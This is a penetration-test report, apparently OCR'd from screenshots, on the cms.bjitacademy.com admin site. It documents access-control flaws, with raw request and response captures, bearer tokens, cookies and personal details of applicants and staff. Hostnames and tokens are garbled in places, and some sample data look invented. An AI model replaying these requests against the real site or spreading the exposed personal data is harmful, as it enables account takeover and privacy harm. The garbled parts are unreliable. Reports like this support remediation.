



BJIT ACADEMY

VAPT VULNERABILITIES

Target: cms.bjitacademy.com

Total vulnerabilities: 08

Submitted by:

Mahmud Iftekhar Asef

ID: 00-30107

Submitted to:

Sad Murshid Khan Adon
Abdullah Al Nayeem
BJIT group

Vulnerability 1

Title: Changing email address of the update profile request leads to access control vulnerability and shows all user information in the response.

Description: The identified vulnerability in the update profile functionality allows unauthorized users to manipulate the email address during the update process. This results in the unauthorized disclosure of sensitive user information. This vulnerability allows an attacker to impersonate and modify the profile of the super admin. This issue poses a significant risk to the confidentiality and integrity of user data.

Target: cms.bjitatecademy.com,

URL/API: POST /academysite/api/public/api/v1/user/update-user HTTP/1.1

POC:

1. First I went to my profile and captured the GET request for personal information update.

The screenshot shows the BJIT Academy Backend Dashboard. At the top right, there is a dropdown menu with options: Settings, Profile (which is highlighted with a red box), and Logout. Below the dashboard, there is a traffic section with a chart showing visitors over time (Days, Months, Years) and a summary of popular courses, news, blogs, users, and application activity.

2. Then I clicked the save profile button and captured the request by intercepting it.

The screenshot shows the Burp Suite proxy tool intercepting an HTTP request. The request is for the URL https://cms.bjitatecademy.com/api/public/api/v1/user/update-user. The browser window shows the BJIT Academy login page with a form for updating user profile information. The 'Save Profile' button is highlighted with a red box. The Burp Suite interface shows the raw request data, which includes the updated email address and other user details.

```
POST /academysite/api/public/api/v1/user/update-user HTTP/1.1
Host: cms.bjitatecademy.com
Content-Length: 872
Sec-Ch-Ua: "Chromium";v="119", "Not_A_Brand";v="24"
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Origin: https://cms.bjitatecademy.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://cms.bjitatecademy.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.5,en;q=0.8
Priority: u=1
Connection: close
-----WebKitFormBoundary5paedgYiLLH0jclz
Content-Disposition: form-data; name="name"
...
```

3. Then i sent the request and checked the response.

4. Here i also checked the super admin profile to check the user information.

BJIT Academy

Dashboard

Home

Training

News

Blogs

About Page

Contact

Users

Subscribers

SEO Pages

Logout

Backend > Profile

Profile Settings

Name *

Mahmud Iftekhar Asef

Mobile Number *

019565434454

Current Password (* Password changes require the current password)

Enter Current Password

New Password *

Enter New Password

Password Confirmation *

Password Confirmation



Super Admin

iftekhar.asef@bjitacademy.com

- Then i changed the email of the user to super admin's email also changed the user id to change the update user by and sent the request and checked the request and got that the super admin's profile is updated with the given value.

Request

```
1 Content-Type: multipart/form-data; boundary=ZaldJplr8jDNVV0B
2 Content-Disposition: form-data; name="name"
3
4 testSeoAsef
5 -----WebKitFormBoundaryZaldJplr8jDNVV0B
6 Content-Disposition: form-data; name="email"
7
8 lftekhar.asef@bjitacademy.com
9 -----WebKitFormBoundaryZaldJplr8jDNVV0B
10 Content-Disposition: form-data; name="image"
11
12
13 -----WebKitFormBoundaryZaldJplr8jDNVV0B
14 Content-Disposition: form-data; name="phone_number"
15
16 01787676652
17 -----WebKitFormBoundaryZaldJplr8jDNVV0B
18 Content-Disposition: form-data; name="password"
19
20
21 -----WebKitFormBoundaryZaldJplr8jDNVV0B
22 Content-Disposition: form-data; name="new_password"
23
24
25 -----WebKitFormBoundaryZaldJplr8jDNVV0B
26 Content-Disposition: form-data; name="new_password_confirmation"
27
28
29 -----WebKitFormBoundaryZaldJplr8jDNVV0B
30 Content-Disposition: form-data; name="user_id"
31
32 69
33 -----WebKitFormBoundaryZaldJplr8jDNVV0B--
```

Response

Pretty	Raw	Hex	Render
			"certification":null
			}, "updated_time":"12:23 20 Nov 2023"
			}, (
			"id":43, "name":"testSeoAsef", "email":"lftekhar.asef@bjitacademy.com" "role":"SuperAdmin", "active":1, "phone_number":"01787676652", "image_url":null, "designation":null, "info":null, "user": {id":69, "name":"testSeoAsef", "email":"test.trainer.asef@bjitacademy.com", "role":"Trainer", "phone_number":"01787676652", "image_url":null, "designation":"top trainer", "info":"<p>education: buet</p>", "experience":10, "skills":"SQL", "certification":{ (title:"istqb") } } }, "updated_time":"15:25 24 Nov 2023" }, (

6. Also all the user information is disclosed by that single email change.

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Fri, 24 Nov 2023 09:22:18 GMT
3 Server: Apache
4 Cache-Control: no-cache, private
5 X-RateLimit-Limit: 60
6 X-RateLimit-Remaining: 52
7 Access-Control-Allow-Origin: *
8 Vary: Accept-Encoding
9 Connection: close
10 Content-Type: application/json
11 Content-Length: 93845
12
13 {
    "success":true,
    "result":(
        "data":[
            {
                "id":189,
                "name":"abc",
                "email":"abcdef@gmail.com",
                "role":"Content Manager",
                "active":0,
                "phone_number":null,
                "image_url":null,
                "designation":null,
                "info":null,
                "user":(
                    "id":37,
                    "name":"Sehrish Zeba",
                    "email":"sehrish.zeba@bjitacademy.com",
                    "role":"SuperAdmin",
                    "phone_number":null,
                    "image_url":null,
                    "designation":null
                )
            }
        ]
    )
}
```

7. After that i also checked the super admin's profile to check the super admin details, and it is changed.

Profile Settings

Name * testSeoAsef
Mobile Number * 017343234452

8. Lastly i checked the update by user field from all users page by having super admin privilege which changed to testTrainerAsef as i passed the user id of trainer.

ID	User	Name	Email	Role	Created By	Created At	Status	Action
144	Promiti Dasgupta	promiti.dasgupta@bjita	Super Admin	Ujjal K. Saha	12:24	20 Nov 2023	Active	
145	Nigah Hossain	nigah.hossain@bjitacad	Super Admin	Ujjal K. Saha	12:23	20 Nov 2023	Active	
146	M M Hasan Tajwar	hasan.tajwar@bjitacade	Super Admin	Ujjal K. Saha	12:23	20 Nov 2023	Active	
147	testSeoAsef	iftekhar.asef@bjitacade	Super Admin	testTrainerAsef	15:47	24 Nov 2023	Active	
148	MD. Abdullah Al Azim	abdullah.azim@bjitacad	Super Admin	MD. Abdullah Al Azim	10:11	24 Nov 2023	Active	

Vulnerability 2

Title: Non privileged users can access add banner functionality leading access control vulnerability (applicable for all the add options).

Description: The identified vulnerability allows all the non-privileged users to access and utilize the add banner functionality. This access control vulnerability extends to various functionalities beyond banner creation, potentially affecting other "add" options, posing a risk to the integrity and control of content within the application.

Target: cms.bjitacadey.com

URL/API:

POST /academysite/api/public/api/v1/post/create-slider-post HTTP/1.1

POST /academysite/api/public/api/v1/client/store-client HTTP/1.1

POST /academysite/api/public/api/v1/post/create-fresh-talent-scope

POST /academysite/api/public/api/v1/testimonial/create-testimonial HTTP/1.1

POST /academysite/api/public/api/v1/location/add-location HTTP/1.1

POC:

1. Firstly i logged in as super admin user to check all the banners.

Serial	Web Image	Title	Interval	Updated by User	Last Updated	Action
1		First Banner	10s	BJIT Academy	16:49 03 Jun 2022	
2		2nd Banner Slider	9s	Zayed Hassan	14:00 29 Sep 2022	
3		Third Banner	8s	BJIT Academy	16:50 03 Jun 2022	

2. Here I captured the add banner request using super admin, clicking the save button and sent it to the repeater.

The screenshot shows NetworkMiner capturing a POST request to `/academysite/api/public/api/v1/post/create-slider-post`. The request body contains the following JSON:

```

POST /academysite/api/public/api/v1/post/create-slider-post HTTP/1.1
Host: cms.bjitacademy.com
Cookie: _ga=GAI.2.1043294729.1700465046; _gid=GAI.2.32889958.1700465046; _gat=1; _ga_P7XBLT5B1J=GSI.2.1700644098.7.1.1700645676.0.0.0
Content-Length: 158979
Sec-Ch-Ua: "Chromium";v="119", "Not ?A_Brand";v="24"
Accept: application/json, text/plain, /*
Content-Type: multipart/form-data;
boundary:=WebkitFormBoundarykf7p4BT1a5E61ZAE
Sec-Ch-Ua-Mobile: <br/>
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzIiNiJ9.eyJhdWQiOiI3IiwianRpIjoiZ3jkCMTMnDA0DYzvWmzHMyMjQyNSyMDMlZTU2Mzg1ZjA3OTc3MDNzYTBxWjcvGMyODj3ZigNsFpNE5GNH02WH3TMyYjR1ZDc3MuwYLCCpXKiojE3MDA2NDU2NTguOTEzNCz2DDE1NT1MDcxMjg5MDVYNSwibmMjixNzAwMjQ1NjU4LjxkNj0c4MTswMjMxMmIzMjQyMtg3NswiZ2kwfjoxNzAxNTASNjU4LjxkNjxkjcyNdk3MTc3MT10MD1mNDM3NSic3Vi1joiNDmILCjzYCs9z2Xhj61jzrKC-PsEMuzi5ngandk4gycSgqiy10Y097wm_SSV3NhqgefrvivPv8PLGloiiV12mnbhFgoolCYERBD3Dx9ct29yB3G6CNVU1Q0Eso_GrF4v7D1dJh4H0rI3SBB0K-HuSaCXFG7d0xUSK9FtTWipBx1z6JNuhWVY5091Fxpx453W-W-3HE1UShlq_C0KB02K9y4mKuEbX1z1h10V-rWYuT1b-OHS-g5mgmwiqhRe_m_dFr_9ERHMVvdpN1z2t6nru1nF5BR2el1zT760W1_YOk5isJWJ10sofLnPzrAAjmPtMo9y2cjkQ0-M7sqe-02-61xMo0dpv4Hw5z1zTTdvc4Bc9HuvcTheV2b7y5N57ExZh1e103M7uabchM0428UGcCA40_Hsp1ZHDgbIsybHttos5n1PAxUiq2cqOnxQDch60eJN70sTsTvv15EcUniq9-BoytLpWg1l8mjD4_vYp1shAAKLhMFA1KdqvzrUuJ4K65aGoNch3l0V1aPoekRgusMsod7dpyjy7x2Pf_gu51hd1_aYVNUlGudshtTeiiaQ9IAzGy47XroDoW1n7fe
...

```

The right side of the screenshot shows a UI for adding a mobile image, with fields for 'Choose file' (containing '3.jpg'), 'Interval' (set to 6s), and a 'Save' button.

3. After that i got the token of trainer as trainer has the least privilege, and used that for the non privileged request which is adding banner.

The screenshot shows NetworkMiner capturing a POST request to `/academysite/api/public/api/v1/post/create-slider-post` using a trainer's token. The request body is identical to the one in step 2. The response shows a successful operation with a generated banner ID:

```

HTTP/1.1 200 OK
Date: Mon, 20 Nov 2023 10:42:15 GMT
Server: Apache
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 55
Access-Control-Allow-Origin: *
Vary: Accept-Encoding, Authorization
Connection: close
Content-Type: application/json
Content-Length: 738
{
  "success": true,
  "result": {
    "id": 62,
    "title": "acdacdcscdcs",
    "interval": "6000",
    "image_url": "images/resource/1B23MsXPHnmPkWL8uJNq7mLFxGn1PoxZulVWToi.jpg",
    "image_link": null,
    "image_alt": "acdacdcscdcs",
    "tabs_image_url": "images/resource/B2f6m9zhCvYcJshQtdao87o1WlzLeCa5xD3BeU.jpg",
    "mobile_image_url": "images/resource/j4cinxtgMsDzWkmBhbpzUAYhj0YkcABfzw718GJ.jpg",
    "icon_url": null,
    "icon_alt": null,
    ...
}

```

Request

```
Pretty Raw Hex
ZWhnZCsyUJnK21rTE0c2LzdjzaNTg4ektBQ0FQ21dReSSWUVArRkNjbZodkSPqitRSz
M5Y3YrajRqNmRVVWniCjtYMWi0I13YTnhNGZhZj1mNDJ10DAONThkMTU3YmVzZDhjNC1S
MDFmODMxYz2lMWY1ZThxNzdi0GQ3MWWz2TdhMTVj0Dc3IiwiGFnIjoiln=
```

7 Sec-Ch-Ua-Mobile: ?0

Authorization: Bearer eyJ0eXAiOiJKV1QiLCjhbGciOiJSUzI1NiJ9.eyJhdWQiOiI3IiwianRpIjoiNmFkYjA3N
TiYMT0MTg10DMSzJ2UmTH0YjhwtWM1NDg40TMzDyQyODBL0DYyG04YTlyMDBjMGHhmf
mNGRmZGMwNWJiNTVjZmRHYzcxMaIiLCJpYXQiOjE3MDA0NzY0OTUuNjMyOTQzNzA4N
T150DgyODEyNwiwmJmIjoxNzawNdcCNDk1LjYzafjkzNjAxMDgyMzk3NDYwOTM3Ns1zX
XMi0ltadfcqrwUbjUplainqWjIzeaadMfrhzhkPss02FqceEzbds1tvnSkUTK-Fwicq8
QSeerCZiuMrZKcYgyriQsshifKspR8B18gEcUvmaQ2LnaTieyNItvzPdtGB45pu0lja
GoJyB9_m0Ret8CDyld1cBjcesfS-2jHvn1TLJhvCQJSyvSeNvfaAkeeg3Vj7mLHNf51
Xvdh5Szxi5xqMq0eH2Fj5tzdDU4jwrs8qdJvxBRpHiTC_h_1PCmb2KomS25j0FL30_J1q
QnSG0JmElKD0avCrcSbUH1--VGvU7p6FJyBDHbanP105fFaubmfsDm3acU-PJtg0R2n0
7rUv94xihMfrRfpECIOuhjAF7rg57pa14ZdbKCvFmrk4Zapvtc8dDtzg1CLM9p41oUxw0
niiphyade0bmsyC1oDphjshBEDT1F38a14ruFxpdr3Fjwjm7nC17RdtEGhXpEV3CeTs
A7dksEXZ1VtNYJyB2mnSMloQ7wNQ3aeapZegY0cw8x-UBDQ1Z94zF6aC83hVHDpqlPlfq
lrbmhDlhnneV1WXQW29_lNaYsDjLLOXish8zDfChA7K5PDqP2eIa4K_WXZok8PFKoiz
KxXU8-o-InHK_cPFBEnicitopkZD6ygcK7vgReuBlaEtazJ0wXymRo-kRexo

9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159
Safari/537.36

10 Content-Type: multipart/form-data;
boundary:---WebKitFormBoundarytxStct92Bt3B2eHq

11 Accept: application/json, text/plain, */*

12 Sec-Ch-Ua-Platform: "Windows"

13 Origin: https://cms.bjitacademy.com

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mode: cors

16 Sec-Fetch-Dest: empty

17 Referer: https://cms.bjitacademy.com/backend/add-banner-slider

18 Accept-Encoding: gzip, deflate, br

19 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Response

```
Pretty Raw Hex Render
HTTP/1.1 200 OK
Date: Mon, 20 Nov 2023 10:42:15 GMT
Server: Apache
Cache-Control: no-cache, private
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 55
Access-Control-Allow-Origin: *
Vary: Accept-Encoding,Authorization
Connection: close
Content-Type: application/json
Content-Length: 738
13 {
```

"success":true,
"result":{
"id":62,
"title":"acdacdcsdcds",
"interval":"6000",
"image_url":
"images"/resource/1B23MsXPHnmPkWL8uJNq7mLFxGnlPoxZulVWToi.jpg",
"image_link":null,
"image_alt":"acdacdcsdcds",
"tabs_image_url":
"images"/resource/B2f6m9zkCvYcJshhQtadao87o1WizLeCaSxD3BeU.jpg",
"mobile_image_url":
"images"/resource/j4clnxtgMsDzWkmBhpm2UAYHjQYkcaBfzw718GJ.jpg",
"icon_url":null,
"icon_alt":null,
"background_color": "#deedff",
"updated_time": "16:42 20 Nov 2023",
"user":{
"id":43,
"name":"Mahaud Iftekhar Asef",
"email":"iftekhar_aef@bjitacademy.com"

4. After sending the request I got status 200 OK, and from the dashboard the banner is uploaded.

Serial	Web Image	Title	Interval	Updated by User	Last Updated	Action
1		acdacdcsdcds	6s	Mahmud Iftekhar Asef	16:42 20 Nov 2023	Edit Delete
2	<input type="radio"/>	First Banner	10s	BJIT Academy	16:49 03 Jun 2022	Edit Delete
3	<input type="radio"/>	2nd Banner Slider	9s	Zayed Hassan	14:00 29 Sep 2023	Edit

Other URL/API Screenshots:

POST /academysite/api/public/api/v1/client/store-client HTTP/1.1

Add client>capture request>change token>send request>successful

POST /academysite/api/public/api/v1/post/create-fresh-talent-scope

Add youth skill>capture request>change token>send request>successful

POST /academysite/api/public/api/v1/testimonial/create-testimonial HTTP/1.1
Add testimonial>capture request>change token>send request>successful

Request

Pretty Raw Hex

1 POST /academywebsite/api/public/api/v1/testimonial/create-testimonial HTTP/1.1
2 Host: cms.binaacademy.com
3 Cookie: _ga=GA1.104254725.1700465046; __gid=GA1.3.2268959558.1700465046; XSRF-TOKEN=eyjdI6Im1vUWNVNSVAzaxFSeKj3SmaIlIdV1saWeCPSiSInzhbH11joiNGNHCmpBnBZG2nShWuSU5CTGhxRUzeSsxMlRyajQ2VGwdrb0WEbzN0WcnREBmDkEStwH014T0ppNshCnlzV2BzEjsLjeHdRzV4WVWhM217jhQcp4HN-1laBLSTTpD0RQH1QHNFPUHvHUuHgQjx3TyUhPbWQ1hsKmLq1Lc3WfHWRzQkMh11DngOlnz2paMuNsUmgM30T1jYtZM2D40DkNxMjzJ42D8jMd2kxvzbhWmVs3y32GUlx1wlgdP0f1oIn03D; bjtj_academy_session=eyJjdI6Im1vD3d2f3hUmREUDPkepxKvAY11MlrczcsPSiSInzhbH11joiKc1sDzEbdG0UeKoKCT3AfUGU7WSu5DngDShM1eVtWNgDwz2xU03h7zNaTywBsrMsxJUsLj0DfWpHfJ3jeVw1fSTMLWdQ9N00jeUWt73hV5KmP2BzPcRgUmuInlekbHdW1b1lRNhCNFUhfAcGzSH2U1VJTW1Km0iWn1c3yYh01lyMmN00mtfL0tHm15j0yFzrZhd10yjWntJ12DjhDAsmz1mzTuXy1zMoGyTyt40TrEyGf1WVH1yHsFaTuV1wlgdP0f1oIn03D; _ga=GA1.2.1700644098.7.1.17006446604.0.0.0
4 Content-Length: 9778
5 Sec-CH-UA: "Chromium";v="115", "Not A Brand";v="14"
6 X-Content-Type-Security: "none"
7 Authorization: Bearer eyjdI6Im1vUWNVNSVAzaxFSeKj3SmaIlIdV1saWeCPSiSInzhbH11joiNGNHCmpBnBZG2nShWuSU5CTGhxRUzeSsxMlRyajQ2VGwdrb0WEbzN0WcnREBmDkEStwH014T0ppNshCnlzV2BzEjsLjeHdRzV4WVWhM217jhQcp4HN-1laBLSTTpD0RQH1QHNFPUHvHUuHgQjx3TyUhPbWQ1hsKmLq1Lc3WfHWRzQkMh11DngOlnz2paMuNsUmgM30T1jYtZM2D40DkNxMjzJ42D8jMd2kxvzbhWmVs3y32GUlx1wlgdP0f1oIn03D; bjtj_academy_session=eyJjdI6Im1vD3d2f3hUmREUDPkepxKvAY11MlrczcsPSiSInzhbH11joiKc1sDzEbdG0UeKoKCT3AfUGU7WSu5DngDShM1eVtWNgDwz2xU03h7zNaTywBsrMsxJUsLj0DfWpHfJ3jeVw1fSTMLWdQ9N00jeUWt73hV5KmP2BzPcRgUmuInlekbHdW1b1lRNhCNFUhfAcGzSH2U1VJTW1Km0iWn1c3yYh01lyMmN00mtfL0tHm15j0yFzrZhd10yjWntJ12DjhDAsmz1mzTuXy1zMoGyTyt40TrEyGf1WVH1yHsFaTuV1wlgdP0f1oIn03D; _ga=GA1.2.1700644098.7.1.17006446604.0.0.0
8 Sec-CH-UA-Platform: "Windows"
9 Authorization: Bearer eyjdI6Im1vUWNVNSVAzaxFSeKj3SmaIlIdV1saWeCPSiSInzhbH11joiNGNHCmpBnBZG2nShWuSU5CTGhxRUzeSsxMlRyajQ2VGwdrb0WEbzN0WcnREBmDkEStwH014T0ppNshCnlzV2BzEjsLjeHdRzV4WVWhM217jhQcp4HN-1laBLSTTpD0RQH1QHNFPUHvHUuHgQjx3TyUhPbWQ1hsKmLq1Lc3WfHWRzQkMh11DngOlnz2paMuNsUmgM30T1jYtZM2D40DkNxMjzJ42D8jMd2kxvzbhWmVs3y32GUlx1wlgdP0f1oIn03D; bjtj_academy_session=eyJjdI6Im1vD3d2f3hUmREUDPkepxKvAY11MlrczcsPSiSInzhbH11joiKc1sDzEbdG0UeKoKCT3AfUGU7WSu5DngDShM1eVtWNgDwz2xU03h7zNaTywBsrMsxJUsLj0DfWpHfJ3jeVw1fSTMLWdQ9N00jeUWt73hV5KmP2BzPcRgUmuInlekbHdW1b1lRNhCNFUhfAcGzSH2U1VJTW1Km0iWn1c3yYh01lyMmN00mtfL0tHm15j0yFzrZhd10yjWntJ12DjhDAsmz1mzTuXy1zMoGyTyt40TrEyGf1WVH1yHsFaTuV1wlgdP0f1oIn03D; _ga=GA1.2.1700644098.7.1.17006446604.0.0.0
10 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: cms.binaacademy.com
Accept: */*

POST /academysite/api/public/api/v1/location/add-location HTTP/1.1
Add location>capture request>change token>send request>successful

```
Hex Render
{
  "id": "1",
  "version": "1.0.0",
  "method": "POST",
  "url": "https://api.jitendra.dev/api/v1/trainer/assef",
  "headers": {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  "body": {
    "name": "Assef",
    "email": "assef@jitacademy.com",
    "password": "1234567890",
    "role": "Trainer"
  }
}
```

Vulnerability 3

Title: Non privileged users can access get list backend API and all contact backend API, leading access control and information disclosure vulnerability (applicable for all the user roles).

Description: The identified vulnerability allows all users to see all information of the specified APIs by changing token and also during data fetching. By this the attacker may retrieve comprehensive data. So there is potential exposure to sensitive information.

Target: cms.bjitacademy.com,

URL/API:

GET /academysite/api/public/api/v1/user/get-list-items-for-backend HTTP/1.1

GET /academysite/api/public/api/v1/user/get-all-applications-and-contacts-for-backend
HTTP/1.1

POC:

1. I captured the get list backend API using super admin privileges and sent it to repeater.

The screenshot shows the Burp Suite interface with a captured request for the URL <https://cms.bjitacademy.com/backend/d...>. The request is highlighted with a red box. The browser window to the right displays the response from the same URL, showing a large amount of JSON data. The JSON data includes various user details such as names, emails, phone numbers, and addresses. A portion of the JSON is visible below:

```
GET /academysite/api/public/api/v1/user/get-list-items-for-backend HTTP/1.1
User-Agent: BURP-HTTP-Proxy/2.5.0
...
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 123456789
Date: Mon, 12 Dec 2023 10:00:00 GMT
...
{
    "data": [
        {
            "id": 1,
            "name": "John Doe",
            "email": "john.doe@example.com",
            "phone": "+1234567890",
            "address": "123 Main St, Anytown USA"
        },
        {
            "id": 2,
            "name": "Jane Smith",
            "email": "jane.smith@example.com",
            "phone": "+1234567890",
            "address": "456 Elm St, Anytown USA"
        },
        ...
    ],
    "total": 1000
}
```

Request

Pretty Raw Hex

1 GET /academy/api/public/api/v1/user/get-list-items-for-backend
HTTP/1.1

2 Content-Type: application/json

3 Cookie: _ga=GA1.2.1042329472.1700465046; __gid=GAI.2.1042329472.1700465046; BJR-TOKEN=eyJpdjdiIEdIckySONrU2M0akxkVUlBbDkCkHrkT0E9PSIsInZhbHV1IjoizGJUMC9vNHpoUmd5QzVLNk1sTtBrYtkWkZciVfhuazdJk3RWVhtrkQXEt3ZhryWxwuNUoekZ1Y1BHBFA1UxhyZWNPzcsyUJnkC1lirTBc0c12zdjAtTq4ektBQOFQ21dresSWUUVArPmNbzbjzDrkSFQitrszMSY3YarRqhmrvVwvLJCjtWm10i13YTNNhGZk2j1mNDJ10DA0NTbhMTU37yWzDjhNz15MDfmd0MxYz1MWV12Tkhxd10QG3MWVwzTdhMTVj0De3liwidGFnIjo1n0+3d; bjt_academy_session=eyJpdjdiIEdIakNbhXkG5PnRkE5SzTrxQXJejFVdER9PSIsInZhbHV1IjoizFVNkzJ0Lz3MTVwK1ZBn3hQkHvpcnWhiUxNv0i13YTNNhGZk2j1mNDJ10DA0NTbhMTU37yWzDjhNz15MDfmd0MxYz1MWV12Tkhxd10QG3MWVwzTdhMTVj0De3liwidGFnIjo1n0+3d; _ga_FXTLBTS1JyGSL.2.1700472724.2.1.17004748271.0.0.0

4 Sec-Ch-Ua: "Chromium";v="115", "Not A Brand";v="24"

5 Accept: application/json, text/plain, */*

6 X-Xsrftoken: eyjdjpdjdiIEdIckySONrU2M0akxkVUlBbDkCkHrkT0E9PSIsInZhbHV1IjoizGJUMC9vNHpoUmd5QzVLNk1sTtBrYtkWkZciVfhuazdJk3RWVhtrkQXEt3ZhryWxwuNUoekZ1Y1BHBFA1UxhyZWNPzcsyUJnkC1lirTBc0c12zdjAtTq4ektBQOFQ21dresSWUUVArPmNbzbjzDrkSFQitrszMSY3YarRqhmrvVwvLJCjtWm10i13YTNNhGZk2j1mNDJ10DA0NTbhMTU37yWzDjhNz15MDfmd0MxYz1MWV12Tkhxd10QG3MWVwzTdhMTVj0De3liwidGFnIjo1n0+3d;

7 Sec-Ch-Ua-Mobile: ?0

8 Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzIiNiIj9.yJhdWQioiI3IiwiwanRpIjoizJjhNTUzNWEZMzQ3YzEzZtBkNCE2YCYT85zJkM30TUWmNjZtBkV1iS1Nz102DhjZDQZTzR1ZzE4TcCNTBkYThSMTU4ZGMbLJcyQXojojE3MDA0NzkwHDcuNzkwNT10TU3NTYm0jA0Tg0HmczLkYmV1j0jE3MDA0NzkwHDcuNzkwNT10TU3Ym0UzmcwHTE3Mtg3NSWzCxxWljoxnGaxMzQzHdQ3LjCnJg5SDMAd0TkwnzlyNjUzMyusInNlyi161j0zIwic2NvGzVsBpkjXO.MoI2ccgUQWbkh08CxOfssPAshx_74_fiHct0qIwKs4nKfimqauseWNS6g18nFiukVh3mxGBJcHs...Xn1uM1Y0n1M0LAsSiRm...oNdnH3...-ri...Wz...An...G5...Y3...h...V...fx...X...h...-14M

Response

Pretty Raw Hex Render

J11 Academy embarked on this journey on October, 2014. We started off with a dream to nurture our youth to be globally competent leaders by equipping them with the right set of knowledge & skills required for success in a progressively interconnected world. Our goal is not just to ensure a future talent pipeline for BJIT, but to help equip our youth with skills that can help secure them a position anywhere.
"exprience": "12",
"skills": "PHP, Laravel, JavaScript, React Js, HTML, CSS, SCSS, Java, HML",
"certification": [
 {
 "title": "Scrum team member accredited"
 },
 {
 "title": "Git Grit"
 }
],
(
 "id": 16,
 "name": "National University",
 "address": "Gazipur",
 "updated_time": "22:45 13 Apr 2022",
 "user": [
 "id": 1,
 "name": "BJIT Academy",
 "email": "info@bjitacademy.com",
 "role": "SuperAdmin",
 "phone_number": "01611046665",
 "image_url": "

2. Then I changed the token of the super admin to trainer's as trainer shouldn't be allowed to fetch all data, and sent the request which shows the status 200 OK and showing all data.

GET

/academysite/api/public/api/v1/user/get-all-applications-and-contacts-for-backend
HTTP/1.1

Dashboard>capture request>change token>send request>successful with all information disclosed.

Request

Pretty Raw Hex

1 `GET /academysite/api/public/api/v1/user/get-all-applications-and-contacts-for-backend`
HTTP/1.1

2 `Host: cms.bjitaacademy.com`

3 `Cookie: _ga=GA.1.1043294729.1700465046; _gid=GAI.1.32889958.1700465046;`
`_ga_PXKRTSBLJ=GS1.C.1700628364.e.1.1700628412.0.0.0`

4 `Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"`

5 `Accept: application/json, text/plain, */*`

6 `Sec-Ch-Ua-Mobile: 20`

7 `Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOiI3IiwanRpIjoIYjI1ODRkMTcyYzgzb2GjyMnY2TDYgNxJQ2Zwu1ZTbhYT14ZmU4Zdg1ZGM3ZjFhMmY3MDJhNDQ1MeOLjNmIiLcJyQ10jB3MDAMjgzOTQud0DNT0830TY1MsE2NzcyNDWuTM3NswniabJmjoxNzAwNj14Mxh0LjgyDwUyMj3MjB3HjzjM2SmZmc1lCjleHAl0jE3MDR00T10TQud0D1wTgwMDcyMD1jNdg0Mzc1lCjzdwI10i13MSIsInjyB3B1ElwI119. V-Zrm0dVmjuILULGThss4ceNrrwLoaFCCDLNCN87DE2MWQhcmG_p_LQE`
`NtSkrd5R3dHaTavCHeShba-A-Esw0iuErst@KA2AbRrGVJSxtMv0dghlIH-8Px17nmcZuoNxzCE-GiWC2SJuJhledszzsQfklS13E0qAtocuIQ9jdn6z422ggwlsMsc4NSBjyMTpSX3Y8yOpw37wB1fcf1WB5sqe`
`MSuCrstT-cF3dtwAu64Pyh5Fr-aENHzdezUDfBnvTBkn1oUhURFa7Ry5uZ-7H7p0Ts17d7QLzK-0d00X6axkgfEWXpWn9UNUNI4raEWPCN5pbu77ymWh0osn-qyCijAUjixYpau0zQ071vkaA8arvru`
`Kawv_wpcwzubD3Sg2_gnd-0-02sizw6TCrr1maAC-WHq18WDK16pdgYh1-7F5X9jwiCBuvwqAOTB3_spp0`
`bri3fCmSwesWUhrMk0o5BRSvBRSeHvr0eHgqUv76dczsc1ze5sLHRzWQ3i4JcwFMX2E6XinDc-PcXPdfpt113V0FWpflRWL_SzMuHvFsxFs0L5jSA1sqnf1GNRL_cTGWz7FDY4Gqp0WT4NyQheyNds4TAKwiy-r`
`AumeC8812ZgmbYsi-Ke-82lovg1TBeg5mpYBgpwy2-pdUvhn7YD8`

8 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36`

9 `Sec-Ch-Ua-Platform: "Windows"`

10 `Sec-Fetch-Site: same-origin`

11 `Sec-Fetch-Mode: cors`

12 `Sec-Fetch-Dest: empty`

13 `Referer: https://cms.bjitaacademy.com/backend/dashboard`

14 `Accept-Encoding: gzip, deflate, br`

15 `Accept-Language: en-GB,en-US;q=0.9,en;q=0.8`

16 `Priority: u=1, i`

17 `Connection: close`

Response

Pretty Raw Hex Render

1 `HTTP/1.1 200 OK`

2 `Date: Wed, 22 Nov 2023 04:56:36 GMT`

3 `Server: Apache`

4 `Cache-Control: no-cache, private`

5 `X-RateLimit-Limit: 60`

6 `X-RateLimit-Remaining: 59`

7 `Access-Control-Allow-Origin: *`

8 `Vary: Accept-Encoding,Authorization`

9 `Connection: close`

10 `Content-Type: application/json`

11 `Content-Length: 5537838`

12 `{`

13 `"success":true,`

14 `"result":{`

15 `"applications":{`

16 `"data":{`

17 `{`

18 `"id":694,`

19 `"name":"Lubna Jahan",`

20 `"contact_number":"01838329145",`

21 `"email":"lubnasarker27@gmail.com",`

22 `"educational_qualification":"BSc",`

23 `"university_name":"East West University",`

24 `"year_of_work_experience":0,`

25 `"technical_skills":`

26 `"Javascript, CSS, HTML, SQA, Testing, Jira, Excel, C",`

